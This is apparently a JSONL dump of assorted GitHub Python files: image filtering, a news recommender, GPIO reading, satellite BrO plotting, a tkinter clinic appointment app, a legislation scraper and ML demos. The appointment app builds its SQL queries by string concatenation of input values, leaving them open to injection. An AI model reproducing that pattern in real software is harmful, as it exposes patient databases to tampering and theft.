return True","repo_name":"pmarschel/Investing","sub_path":"Inv_Tools_Bio.py","file_name":"Inv_Tools_Bio.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15363457063","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 17 11:25:38 2021\r\n\r\n@author: gat06\r\n\"\"\"\r\nimport cv2\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nimg = cv2.imread('data/cat_env2.jpg', cv2.IMREAD_GRAYSCALE)\r\nbilateral = cv2.bilateralFilter(img, 15, 75, 75)\r\nplt.subplot(121),plt.imshow(img,cmap = 'gray')\r\nplt.title('Original Image'), plt.xticks([]), plt.yticks([])\r\nplt.subplot(122),plt.imshow(bilateral,cmap = 'gray')\r\nplt.title('Bilateral Fİlter'), plt.xticks([]), plt.yticks([])\r\n\r\nplt.show()","repo_name":"GokmenAtakanT/Image-Processing","sub_path":"cat_Bilateral.py","file_name":"cat_Bilateral.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35781955795","text":"from SqlAdapter.ArticleImpl import ArticleImpl\nfrom SqlAdapter.CategoryImpl import CategoryImpl\nfrom SqlAdapter.UserImpl import UserImpl\nfrom CommonFiles.common_function import common_function\n\nclass TopicCenter:\n    def __init__(self, modelAdapter):\n        self.modelAdapter = modelAdapter\n        self.articleDAO = ArticleImpl()\n        self.categoryDAO = CategoryImpl()\n        self.userDAO = UserImpl()\n\n    def findTopicFromArticleId(self, articleId):\n        article = self.articleDAO.getArticleById(articleId)\n        topic = self.modelAdapter.findTopicFromRootModel(article[\"content\"])\n        topicCode = common_function.mapTopicIdForCode(topic[0])\n        result = self.categoryDAO.getCategoryByCode(topicCode)\n        return result\n\n    def findFavorite(self, userId):\n        listTopic = []\n        listUnique = []\n        #get user history\n        history = self.userDAO.getHistoryByUserId(userId)\n        listArticle = []\n        for i in history:\n            listArticle.append(self.articleDAO.getArticleById(i))\n        #find Favorite from history\n        for at in listArticle:\n            topic = self.modelAdapter.findTopicFromRootModel(at['sapo'])\n            listTopic.append(topic[0])\n            temp = [item[0] for item in listUnique]\n            if not topic[0] in temp:\n                listUnique.append((topic[0], common_function.mapTopicIdForCode(topic[0]), 1))\n            else:\n                i = 0\n                for item in listUnique:\n                    if item[0] == topic[0]:\n                        listUnique[i] = (topic[0], common_function.mapTopicIdForCode(topic[0]), item[2] + 1)\n                        break\n                    else:\n                        i = i + 1\n\n        return sorted(listUnique, key=lambda listUnique: listUnique[2], reverse=True)\n\n    def sortTopicByHabit(self, userId, listTopic):\n        historyArray = self.findFavorite(userId)\n        favoriteArray = listTopic\n\n        i = 0\n        for ha in historyArray:\n            for t in range(0, len(favoriteArray), 1):\n                if ha[1] == favoriteArray[t][\"code\"]:\n                    favoriteArray[t], favoriteArray[i] = favoriteArray[i], favoriteArray[t]\n                    i = i + 1\n\n        return favoriteArray\n\n    def sortAllTopic(self, userId):\n        listTopic = self.categoryDAO.getAllCategory()\n        return self.sortTopicByHabit(userId, listTopic)\n\n    def sortFavoriteTopic(self, userId):\n        listTopic = self.categoryDAO.getChoosedCategoryByUserId(userId)\n        return self.sortTopicByHabit(userId, listTopic)\n\n    def getRecomendArticles(self, articleId, quantity, startIndex):\n        listArticle = self.articleDAO.getArticlesRelateWithParticularArticle(articleId, startIndex if startIndex != 0 else self.articleDAO.getNewestArticleId())\n        print(\"Getting \" + str(len(listArticle)) + \" articles relate\")\n        article = self.articleDAO.getArticleById(articleId)\n        categoryCode = self.categoryDAO.getCategoryIdFromArticle(articleId)\n        print(\"Category code: \" + categoryCode)\n\n        particularTopic = self.modelAdapter.findTopicFromChildModel(article[\"sapo\"], categoryCode)\n\n        result = []\n        for at in listArticle:\n            topicTemp = self.modelAdapter.findTopicFromChildModel(at[\"sapo\"], categoryCode)\n            if topicTemp[0] == particularTopic[0]:\n                result.append(at)\n                if len(result) == quantity:\n                    break\n\n        return result\n","repo_name":"TuanDang1996/news_python_api","sub_path":"Source_Main/TopicCenter.py","file_name":"TopicCenter.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"40731757614","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# Pollen des GPIO P9_27 (GPIO 115) ueber das Sys FS\n# ohne Pythonbibliothek dafuer.\n# Abbruch mit strg + c\n# S. Mack, 5.3.20\n\nimport time\nimport sys\n\nprint(\"Python-Interpreter: {}\\n\".format(sys.version))\n\nsetup = open('/sys/class/gpio/gpio115/direction', 'w')\nsetup.write('in')\nsetup.close()\ntime.sleep(1)\nprint('GPIO 115 als Eingang gesetzt')\n\ngpio = open('/sys/class/gpio/gpio115/value', 'r')\n\ntry:\n    while True:\n        value=gpio.read().strip() # strip() entfernt Zeilenumbruch in value\n        print('GPIO-Zustand: {}'.format(value))\n        gpio.seek(0)\n        time.sleep(1)\nexcept KeyboardInterrupt:\n    print(\"\")\n    print(\"Byebye...\")\n    gpio.close()\n","repo_name":"StefanMack/PAT-ROS","sub_path":"PythonCodeBspl/myGPIO_read.py","file_name":"myGPIO_read.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"de","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"8051838001","text":"import os, glob\nimport numpy as np\nimport pandas as pd\nimport xarray as xr\nfrom scipy.constants import * # Get physics constants\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates # handling of dates in plotting\nfrom mpl_toolkits.basemap import Basemap, addcyclic, shiftgrid\nimport datetime as dt  # Python standard library datetime module\nimport sys  \nsys.path.append(\"../mytools/\") \nfrom med_tools import *\n#from mytools.netcdf_tools import * # ncdump implementation for python\n\nexecfile(\"read_GOME_data.py\")\n\n# Clean up\nplt.close('all')\nb_hist = False\n# Access environment variable for directory\ndata_dir = os.environ['DATA']\nsubd = '/BrXplo/GOME_total_BrO/'\nsrc = 'gome_*.nc'\n#month = (3,4,5,8,9,10)\nmonth = np.arange(1,13)\nmonth_name = (\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \n              \"July\", \"August\", \"September\", \"October\", \"November\", \"December\")\ntry: \n    BrO_data\nexcept NameError:\n    print(\"Reading data...\")\n    BrO_data = []\n    for each in sorted(glob.glob(src)):\n        BrO_data.append(xr.open_dataset(each))\n\n    BrO_data = xr.concat(BrO_data, dim='time')\nBrO_data_mean = BrO_data.groupby('time.month').mean(dim='time')\n\n# Set map\nmeridians = np.arange(-180.,181.,20.)\nparallels = np.arange(-80.,81.,20.)\nm_nh = Basemap(projection='npstere', boundinglat=45., lon_0=0, resolution='l') #, round=True\nm_sh = Basemap(projection='spstere', boundinglat=-45., lon_0=0, resolution='l')#, round=True\n\nplt.subplots_adjust(wspace=0.3, hspace=0.1)\nfig1 = plt.figure(1, figsize=(11.69,8.27))\nfig1.canvas.set_window_title(\"gome_BrO_2000\")\n\nfor imonth in range(len(month)):\n    BrO_sel = BrO_data_mean.sel(month=month[imonth])#BrO_data.sel(time='2000-04-10')\n    # Plot it\n    #data_cyclic, lon_cyclic = addcyclic(BrO_data_mean['BrO'][imonth-1], BrO_data_mean['lon']) # \n    data_cyclic, lon_cyclic = addcyclic(BrO_sel['BrO']-3, BrO_sel['lon'])\n    # Shift grid so lon runs from -180 to +180\n    #data_cyclic, lon_cyclic = shiftgrid(180, data_cyclic, lon_cyclic, start=False)\n    # Create \"D lat/lon arrays for Basemap\n    lon2d, lat2d = np.meshgrid(lon_cyclic, BrO_sel['lat'])\n    # Transform lat/lon into plotting coordinates for projection\n    x, y = m_nh(lon2d, lat2d)\n    ax11 = plt.subplot(4,6,imonth*2+1)\n    ax11.set_title(month_name[month[imonth]-1], ha='left', y=0.85, x=0.02, color='white')\n    cp11 = ax11.contourf(x, y, data_cyclic, np.arange(0,5.1,0.5), extend='both')\n    m_nh.drawcoastlines()\n    m_nh.drawmapboundary()\n    # draw parallels and meridians.\n    m_nh.drawparallels(parallels)\n    m_nh.drawmeridians(meridians, labels=[True,False,False,True])\n    \n    # Transform lat/lon into plotting coordinates for projection\n    x, y = m_sh(lon2d, lat2d)\n    ax12 = plt.subplot(4,6,imonth*2+2)\n    cp12 = ax12.contourf(x, y, data_cyclic, np.arange(0,5.1,0.5), extend='both')\n    m_sh.drawcoastlines()\n    m_sh.drawmapboundary()\n    # draw parallels and meridians.\n    m_sh.drawparallels(parallels)\n    m_sh.drawmeridians(meridians, labels=[True,False,False,True])\n# Set color bar\ncp_bar = fig1.colorbar(cp12, ax=fig1.axes, orientation='horizontal', fraction=0.046, pad=0.04, aspect=30) #\ncp_bar.set_ticks(np.arange(0,10.1))\ncp_bar.set_label(\"%s (%s %s)\" % (BrO_data['BrO'].attrs['long_name'], BrO_data['BrO'].attrs['scaling'], BrO_data['BrO'].attrs['units']))\n\nif b_hist:\n    fig2 = plt.figure(2)\n    if month < 10:\n        fig2.canvas.set_window_title(\"gome_BrO_2000%s_hist\" % (month))\n        BrO_hist = (BrO_data_mean['BrO'][month-1]).where(BrO_data_mean.lat>45).plot.hist(bins=100, normed=True, range=(0,8))\n    else:\n        fig2.canvas.set_window_title(\"gome_BrO_200%s_hist\" % (month))\n        BrO_hist = (BrO_data_mean['BrO'][month-1]).where(BrO_data_mean.lat<-45).plot.hist(bins=100, normed=True, range=(0,8))\n    ax21 = plt.gca()\n    ax21.set_xlabel(\"%s (%s %s)\" % ('Vertical column BrO', '1e+13', 'molecules/cm2'))\n    ax21.set_ylabel(\"Probability Density\")\n    ax21.set_ylim(0,1)\n\n\nplt.show(block=False)\n","repo_name":"ziu1986/python_scripts","sub_path":"BrXplo/plot_GOME_data.py","file_name":"plot_GOME_data.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17870042034","text":"import logging\nimport math\n\n\nclass InstantValue:  # Magnetometer measure on a given time\n    def __init__(self, x, y, z, time):\n        self.x = x\n        self.y = y\n        self.z = z\n        self.time = time\n        self.img = None\n        self.average = math.sqrt(x**2 + y**2 + z**2)\n        logging.debug(\"Created a chunk with x: \" + str(x) + \" y:\" + str(y) + \" z:\" + str(z) + \"at time: \" + str(time))\n        return\n\n    def to_string(self): # Return a string containing all the attributes\n        return str(self.x)+\" \"+str(self.y)+\" \"+str(self.z)+\" \"+str(self.time)+\"\\n\"\n\n\nclass Chunk:  # InstantValues collection\n    def __init__(self, c0=False, c1=False, c2=False):\n        self.instant_values = [c0, c1, c2]  # Chunk vector\n        self.chunk_sum = self.sum()\n        return\n\n    def insert_instant_value(self, x, y, z, time):  # Insert a chunk in the measure\n        for i in range(len(self.instant_values)):\n            if not self.instant_values[i]:\n                self.instant_values[i] = InstantValue(x, y, z, time)\n                logging.debug(\"Inserted instant value in chunk object\")\n                return True\n        logging.warn(\"Failed to create chunk\")\n        return False\n\n    def sum(self): # Calculate the sum of the chunk\n        sum = 0\n        for i in range(len(self.instant_values)):\n            if self.instant_values[i] is not False:\n                sum += self.instant_values[i].average\n            else:\n                return False\n        self.chunk_sum = sum\n        return sum\n\n    def to_string(self):  # Print the sequence of measurement\n        line = str(self.sum())+\"\\n\"\n        for i in range(len(self.instant_values)):\n            line += self.instant_values[i].to_string()\n            # logging.debug(\"Inserted measure on file\")\n        line += \"\\n\\n\"\n        logging.debug(\"Inserted measure on file\")\n        return line\n\n    def get_images(self):  # Return all the images of the chunk\n        images = []\n        for i in range(len(self.instant_values)):\n            images.append(self.instant_values[i].img)\n        return images","repo_name":"AlessandroTaufer/AstroPi-DiracNephews","sub_path":"Dirac/data_management.py","file_name":"data_management.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"28621296915","text":"from tkinter import *\nfrom tkinter.messagebox import *\nfrom connection import *\nfrom pymysql import *\nfrom tkcalendar import *\nfrom tkinter.ttk import *\n\n\nclass appointment:\n    def callback(self, event):\n        self.cb3.set(\"\")\n        self.cb3[\"values\"] = \"\"\n        doctorid = self.cb2.get()\n        s = \"select * from slot where doctorid='\" + str(doctorid) + \"'\"\n        cr = conn.cursor()\n        cr.execute(s)\n        result = cr.fetchall()\n\n        x = []\n        for row in result:\n            x.append(row[0])\n\n        self.cb3[\"values\"] = x\n\n    def go(self):\n        s = self.cb1.get()\n        if s == \"\":\n            showinfo(\"\", \"Select a patient_ID\")\n        else:\n            s = \"select * from patient where pid='\" + s + \"'\"\n            cr = conn.cursor()\n            n = cr.execute(s)\n            row = cr.fetchone()\n            self.textbox1.delete(0, END)\n\n            if n > 0:\n                self.textbox1.insert(0, str(row[1]))\n\n    def submit(self):\n        # if self.textbox1.get()==\"\" or self.textbox2.get()==\"\" or self.textbox3.get()==\"\" or self.textbox4.get()==\"\" or self.textbox5.get()== \"\":\n        #   showinfo(\"\", \"Fields Marked Star Are Mandatory\")\n        s1 = \"select * from appointment where doctorid='\"+str(self.cb2.get())+\"' and date='\"+str(self.textbox3.get_date())+\"'and slotid='\"+str(self.cb3.get())+\"'\"\n        cr = conn.cursor()\n        n = cr.execute(s1)\n\n        token = 0\n        s2 = \"select maxcapacity from slot where doctorid='\"+str(self.cb2.get())+\"' and slotid='\"+str(self.cb3.get())+\"'\"\n        cr.execute(s2)\n        row = cr.fetchone()\n        maxcapacity = (int)(row[0])\n        if n<=maxcapacity:\n            cr.execute(s1)\n            result = cr.fetchall()\n            for row in result:\n                token = (int)(row[10])\n            token = token+1\n\n\n\n\n            s = \"insert into appointment values(NULL,'\" + str(\n            self.cb1.get()) + \"','\" + self.textbox1.get() + \"','\" + self.textbox2.get(0.0, END) + \"','\" + str(\n            self.cb2.get()) + \"','\" + str(self.textbox3.get_date()) + \"','\" + str(\n            self.cb3.get()) +\"','\"+ self.textbox4.get() + \"','\" + str(\n            self.cb4.get()) + \"','\" + self.textbox5.get() + \"','\"+str(token)+\"','pending','')\"\n            cr = conn.cursor()\n            cr.execute(s)\n            conn.commit()\n            showinfo(\"\", \"Appointment Booked Successful\")\n        else :\n            showinfo(\"\", \"Slot is Full\")\n\n\n    def __init__(self):\n        self.root = Tk()\n        self.root.geometry(\"1000x1000\")\n        self.root.config(background='#FFE4C4')\n        self.lb1 = Label(self.root, text=\"APPOINTMENTS\")\n        self.lb2 = Label(self.root, text=\"Patient ID *\")\n        self.lb3 = Label(self.root, text=\"Name *\")\n        self.lb4 = Label(self.root, text=\"Previous History *\")\n        self.lb5 = Label(self.root, text=\"Select DoctorID *\")\n        self.lb6 = Label(self.root, text=\"Date *\")\n        self.lb7 = Label(self.root, text=\"Slot *\")\n        self.lb8 = Label(self.root, text=\"Amount *\")\n        self.lb9 = Label(self.root, text=\"Type of Booking *\")\n        self.lb10 = Label(self.root, text=\"Payment Recieved *\")\n\n        self.lb1.grid(row=0, column=1)\n        self.lb2.grid(row=1, column=0)\n        self.lb3.grid(row=2, column=0)\n        self.lb4.grid(row=3, column=0)\n        self.lb5.grid(row=4, column=0)\n        self.lb6.grid(row=5, column=0)\n        self.lb7.grid(row=6, column=0)\n        self.lb8.grid(row=7, column=0)\n        self.lb9.grid(row=8, column=0)\n        self.lb10.grid(row=9, column=0)\n\n        self.textbox1 = Entry(self.root)\n        self.textbox2 = Text(self.root, height=3)\n        self.textbox3 = DateEntry(self.root)\n        self.textbox4 = Entry(self.root)\n        self.textbox5 = Entry(self.root)\n\n        self.textbox1.grid(row=2, column=1)\n        self.textbox2.grid(row=3, column=1)\n        self.textbox3.grid(row=5, column=1)\n        self.textbox4.grid(row=7, column=1)\n        self.textbox5.grid(row=9, column=1)\n\n        self.cb1 = Combobox(self.root, state=\"readonly\")\n        self.cb2 = Combobox(self.root, state=\"readonly\")\n        self.cb3 = Combobox(self.root, state=\"readonly\")\n        self.cb4 = Combobox(self.root, values=(\"call\", \"Walkin\"), state=\"readonly\")\n\n        self.cb1.grid(row=1, column=1)\n        self.cb2.grid(row=4, column=1)\n        self.cb3.grid(row=6, column=1)\n        self.cb4.grid(row=8, column=1)\n\n        self.bt1 = Button(self.root, text=\"GO\", command=self.go)\n        self.bt2 = Button(self.root, text=\"Submit\", command=self.submit)\n\n        self.bt1.grid(row=1, column=2)\n        self.bt2.grid(row=10, column=1)\n\n        s = \"select * from patient\"\n        cr = conn.cursor()\n        cr.execute(s)\n        result = cr.fetchall()\n        x = []\n        for row in result:\n            x.append(row[0])\n        self.cb1['values'] = x\n\n        s = \"select * from doctors\"\n        cr = conn.cursor()\n        cr.execute(s)\n        result = cr.fetchall()\n        x = []\n        for row in result:\n            x.append(row[0])\n        self.cb2['values'] = x\n        self.cb2.bind(\"<<ComboboxSelected>>\", self.callback)\n\n        self.root.mainloop()\n\n\n","repo_name":"priyanshi2106/Outdoor-Patient-Automation-for-Clinics","sub_path":"appointment.py","file_name":"appointment.py","file_ext":"py","file_size_in_byte":5143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21346589966","text":"import os\nfrom stat import *\n\nimport pytest\n\nfrom c_sar_denarius import serve\n\nDATA_DIR = os.path.join(\n    os.path.dirname(os.path.realpath(__file__)),\n    \"data/serve_chks\",\n)\n\nYAML_PERMS = {\n    \"good.yaml\": S_IRUSR | S_IRGRP,\n    \"missing_pw.yaml\": S_IRUSR | S_IRGRP,\n    \"missing_group.yaml\": S_IRUSR | S_IRGRP,\n    \"bad_permissions.yaml\": S_IRUSR | S_IRGRP | S_IROTH,\n}\n\n# irritating but set the permissions we expect outside the tests\nfor k, v in YAML_PERMS.items():\n    os.chmod(os.path.join(DATA_DIR, k), v)\n\n\n@pytest.mark.parametrize(\n    \"auth_file, exp_exit, exp_result\",\n    [\n        (\"good.yaml\", False, (\"un\", \"pw\")),\n        (\"bad_permissions.yaml\", True, None),\n    ],\n)\ndef test_01_check_permissions(auth_file, exp_exit, exp_result):\n    auth_path = os.path.join(DATA_DIR, auth_file)\n    if exp_exit:\n        with pytest.raises(SystemExit) as e_info:\n            serve.check_permissions(auth_path)\n    else:\n        serve.check_permissions(auth_path)\n        assert True\n    # put permissions back for user\n    os.chmod(auth_path, S_IRUSR | S_IWUSR)\n\n\n@pytest.mark.parametrize(\n    \"auth_file, exp_err, exp_result\",\n    [\n        (\"good.yaml\", False, (\"un\", \"pw\")),\n        (\"missing_pw.yaml\", True, None),\n        (\"missing_group.yaml\", True, None),\n    ],\n)\ndef test_02_load_auth(auth_file, exp_err, exp_result):\n    auth_path = os.path.join(DATA_DIR, auth_file)\n    if exp_err:\n        with pytest.raises(KeyError) as e_info:\n            serve.load_auth(auth_path)\n    else:\n        result = serve.load_auth(auth_path)\n        assert result == exp_result\n    # put permissions back for user\n    os.chmod(auth_path, S_IRUSR | S_IWUSR)\n","repo_name":"cancerit/c-sar-denarius","sub_path":"tests/02_serve_test.py","file_name":"02_serve_test.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16470806328","text":"\nimport math\n\nclass Solution:\n\n    def distributeTicket(self, N : int, K : int) -> int:\n\n        # Code Here\n\n        a=int(N//K)\n\n        if(K==1):\n\n            return int(N//2)+1\n\n        m=N%K\n\n        if(a%2==0):\n\n            a=math.ceil(a/2)\n\n            r=N-a*K+1\n\n            if(m):\n\n                r=a*K+m\n\n        else:\n\n            r=math.ceil(a/2)*K\n\n            if(m):\n\n                r=N-int(a//2)*K-m+1\n\n        return r\n\n","repo_name":"raghav-1998/Problem-of-the-day-GFG","sub_path":"Ticket Counter/Ticket-Counter.py","file_name":"Ticket-Counter.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"40707566374","text":"\nfrom time import time\nimport sys\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Circle\nfrom matplotlib.collections import PolyCollection\nimport matplotlib.animation as animation\n\nfrom fealpy.mesh.tree_data_structure import Quadtree\nfrom fealpy.mesh.level_set_function import dcircle\nfrom fealpy.mesh.simple_mesh_generator import rectangledomainmesh\n\n\nclass AdaptiveMarker():\n    def __init__(self, phi):\n        self.phi = phi\n\n    def refine_marker(self, qtmesh):\n        phi = self.phi\n\n        idx = qtmesh.leaf_cell_index()\n        pmesh = qtmesh.to_polygonmesh()\n        cell2point = pmesh.ds.cell_to_point()\n\n        point = qtmesh.point\n        value = phi(point)\n        valueSign = np.sign(value)\n        valueSign[np.abs(value) < 1e-8] = 0\n        NV = pmesh.number_of_points_of_cells()\n        isNeedCutCell = np.abs(cell2point*valueSign).reshape(-1) != NV\n\n        return idx[isNeedCutCell]\n\n    def coarsen_marker(self, qtmesh):\n        phi = self.phi\n        NC = qtmesh.number_of_cells()\n        cell = qtmesh.ds.cell\n        child = qtmesh.child\n        parent = qtmesh.parent\n\n        isRootCell = qtmesh.is_root_cell()\n        if np.all(isRootCell):\n            return None\n        else:\n            point = qtmesh.point\n            value = phi(point)\n            valueSign = np.sign(value)\n            valueSign[np.abs(value) < 1e-12] = 0\n\n            isLeafCell = qtmesh.is_leaf_cell()\n            isBranchCell = np.zeros(NC, dtype=np.bool)\n            isBranchCell[parent[isLeafCell, 0]] = True \n\n            branchCell = cell[isBranchCell, :]\n            isCoarsenCell = np.abs(np.sum(valueSign[branchCell], axis=1) \n                    + valueSign[cell[child[isBranchCell, 0], 2]]) == 5 \n            idx, = np.nonzero(isBranchCell)\n\n            return idx[isCoarsenCell]\n\nclass QuadtreeDemo():\n    def __init__(self, qtree, dt):\n        self.qtree = qtree\n        self.dt = dt\n        self.time_elapsed = 0\n        self.count = 1\n\n    def step(self, dt, marker):\n        print(self.count)\n        if self.count == 274:\n            print(274)\n        self.count += 1\n        self.time_elapsed += dt\n        for i in range(1):\n            self.qtree.refine(marker)\n\n        while self.qtree.coarsen(marker):\n            continue\n\n            \n\n\ndef init():\n    return polys, \n\ndef animate(i):\n    global qtdemo, dt\n\n    c = circle.center\n    circle.center = (c[0] + 1*dt, c[1])\n    circle.radius -= 0.1*dt \n    phi = lambda p: dcircle(p, circle.center, circle.radius)\n    marker = AdaptiveMarker(phi)\n    qtdemo.step(dt, marker)\n    point = qtdemo.qtree.point\n    cell = qtdemo.qtree.ds.cell\n    polys.set_verts(point[cell, :])\n    return polys, \n\n# initial \nbox = [-1, 1, -1, 1]\ncxy = (-1.5, 0.0)\nr = 0.5\nphi = lambda p: dcircle(p, cxy, r)\nn = 8 \nmesh = rectangledomainmesh(box, nx=n, ny=n, meshtype='quad')\nqtree = Quadtree(mesh.point, mesh.ds.cell)\n\ndt = 0.01\nqtdemo = QuadtreeDemo(qtree, dt)\n\nfig = plt.figure()\naxes = plt.axes(xlim=(-1.,1.),ylim=(-1.,1.)) \n\npolys = qtdemo.qtree.add_plot(axes)\ncircle = Circle(cxy, r, edgecolor='g', fill=False, linewidth=2)\n\ninterval = 100 * dt \n\nani = animation.FuncAnimation(fig, animate, frames=200, interval=interval, blit=True, init_func=init)\n\nif len(sys.argv) > 1 and sys.argv[1] == 'save':\n    ani.save('quadtree.gif', dpi=80, writer='imagemagick')\nelse:\n    plt.show()\n","repo_name":"weihuayi/fealpy","sub_path":"demo/quadtree_demo.py","file_name":"quadtree_demo.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","stars":209,"dataset":"github-code","pt":"37"}
+{"seq_id":"74032805868","text":"from requests import get\nfrom bs4 import BeautifulSoup\nimport pickle\nimport os\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.common.exceptions import NoSuchElementException\nfrom scrapper import Scrapper, Document\nimport pandas as pd\nimport re\nimport datetime\nimport requests\n\n\n\nclass PeruCongreso(Scrapper):\n    def __init__(self, browser):\n        super().__init__()\n        self.source = \"CONGRESO de la REPÚBLICA del PERÚ\"\n        self.country_code = '178'\n        self.ISO = 'PERU'\n        self.URL = \"http://www.leyes.congreso.gob.pe/LeyNumePP.aspx?xNorma=0\"\n        self.REF_URL = \"http://www.diputados.gob.mx/LeyesBiblio/\"\n        self.path = os.path.dirname(__file__)\n        self.browser = browser\n        self.date = {\"start\": \"09092019\", \"end\": \"09092020\"}\n        self.maintainer = \"Francisco Pérez\"\n\n    def extract_information(self):\n        self.browser.get(self.URL)\n        element = self.browser.find_element_by_xpath(\"//select[@id='ctl00_ContentPlaceHolder1_DdlTipoBusqueda']\")\n        all_options = element.find_elements_by_tag_name(\"option\")\n        for option in all_options:\n            print(option.get_attribute(\"text\"))\n            if option.get_attribute(\"text\") == \"Por fecha de publicación\":\n                option.click()\n\n        element = self.browser.find_element_by_xpath(\"//input[@id='ctl00_ContentPlaceHolder1_TxtFechaIni']\")\n        element.click()\n        for i in range(10):\n            element.send_keys(Keys.LEFT);\n        element.send_keys(self.date['start'])\n\n        element = self.browser.find_element_by_xpath(\"//input[@id='ctl00_ContentPlaceHolder1_TxtFechaFin']\")\n        element.click()\n        for i in range(10):\n            element.send_keys(Keys.LEFT);\n        element.send_keys(self.date['end'])\n\n        element = self.browser.find_element_by_name(\"ctl00$ContentPlaceHolder1$BtnConsultar\")\n        element.click()\n        num_pages = int(self.browser.find_element(by=By.ID,\n                                                  value=\"ctl00_ContentPlaceHolder1_GwDetalle_ctl23_LblNroPagina\").text.split(\n            \" \")[-1][:-1])\n        print(num_pages)\n        for _ in range(num_pages):\n            element = self.browser.find_element_by_tag_name('table')\n            table_rows = element.find_elements_by_tag_name('tr')[1:-1]\n\n            anchors = [table_row.find_element_by_tag_name('a') for table_row in table_rows]\n            normas = [table_row.find_elements_by_tag_name('td')[0].text for table_row in table_rows]\n            dates = [datetime.datetime.strptime(table_row.find_elements_by_tag_name('td')[2].text, \"%d/%m/%Y\") for table_row in table_rows]\n            resumes = [table_row.find_elements_by_tag_name('td')[3].text for table_row in table_rows]\n\n            main_page = self.browser.current_window_handle\n            for anchor,resume,norma,date in zip(anchors,resumes,normas,dates):\n                try:\n                    anchor.click()\n                except:\n                    self.browser.close()\n                    self.browser.switch_to_window(main_page)\n                    continue\n                window_after = self.browser.window_handles[1]\n                print(window_after)\n                self.browser.switch_to_window(window_after)\n                title = self.browser.find_element(by=By.ID, value=\"titulo01\").text\n                id = self.browser.find_element(by=By.ID, value=\"titulo01\").text.split(' ')[-1]\n\n                print('hola')\n                try:\n                    url = self.browser.find_element(by=By.ID, value=\"DvDetalle_LinkLey\").get_attribute('href')\n\n                except NoSuchElementException :\n                    url = \"http://www.leyes.congreso.gob.pe/Documentos/2016_2021/ADLP/Texto_Consolidado/{}-TXM.pdf\".format(id)\n                    if not requests.head(url).ok:\n                        url = \"http://www.leyes.congreso.gob.pe/Documentos/2016_2021/ADLP/Normas_Legales/{}-LEY.pdf\".format(\n                            id)\n                        print(url)\n                        if not requests.head(url).ok:\n                            print(\"{} not retreived\")\n                            self.browser.close()\n                            self.browser.switch_to_window(main_page)\n                            continue\n\n\n\n\n                try:\n                    doc_format = url.split(\".\")[-1]\n                except AttributeError:\n                    continue\n                self.browser.close()\n                self.browser.switch_to_window(main_page)\n                sample = Document(self.ISO, self.country_code, self.state_code, self.state_ISO, self.source,\n                                  id, norma, title, resume, date, url, doc_format).to_dataframe()\n                self.add_resource(sample)\n            moved = False\n            while not moved:\n                print('moving page')\n                try:\n                    self.browser.find_element(by=By.ID,\n                                              value=\"ctl00_ContentPlaceHolder1_GwDetalle_ctl23_ImgBtnSiguiente\").click()\n                    moved = True\n                except:\n                    pass\n        self.save_resources()\n","repo_name":"frapercan/WRI_latinoamerica_web_scrapping","sub_path":"modules/peru/peru.py","file_name":"peru.py","file_ext":"py","file_size_in_byte":5203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1031812258","text":"from sklearn.datasets import load_digits\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.metrics import confusion_matrix, classification_report\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.naive_bayes import GaussianNB\r\nimport matplotlib.pyplot as plt\r\n\r\ndigits = load_digits()\r\nprint(\"Дані 36 цифри в наборі:\")\r\nprint(digits.images[35])\r\n\r\nfigure, axes = plt.subplots(6, 6, figsize=(6, 6))\r\nfor item in zip(axes.ravel(), digits.images[:36], digits.target[:36]):\r\n    axes, image, target = item\r\n    axes.imshow(image, cmap=plt.cm.gray_r)\r\n    axes.set_xticks([])\r\n    axes.set_yticks([])\r\n    axes.set_title(target)\r\nplt.tight_layout()\r\nplt.show()\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(digits.data, digits.target, random_state=11)\r\nprint(f'\\nСтандартне розділення вибірки 75 на 25%: Train - {X_train.shape}, test - {X_test.shape}')\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(digits.data, digits.target, random_state=11, test_size=0.20)\r\nprint(f'Розділення вибірки 80 на 20%: Train - {X_train.shape}, test - {X_test.shape}\\n')\r\n\r\nknn = KNeighborsClassifier()\r\nknn.fit(X_train, y_train)\r\n\r\npredicted = knn.predict(X_test)\r\n\r\nprint(f'Передбачені значення за KNN (K=5): {predicted[:36]}')\r\nprint(f'Очікувані значення за KNN (K=5)  : {y_test[:36]}')\r\n\r\nprint(f'Оцінка KNN (K=5) = {knn.score(X_test, y_test):.2%}')\r\n\r\nconfusion = confusion_matrix(y_true=y_test, 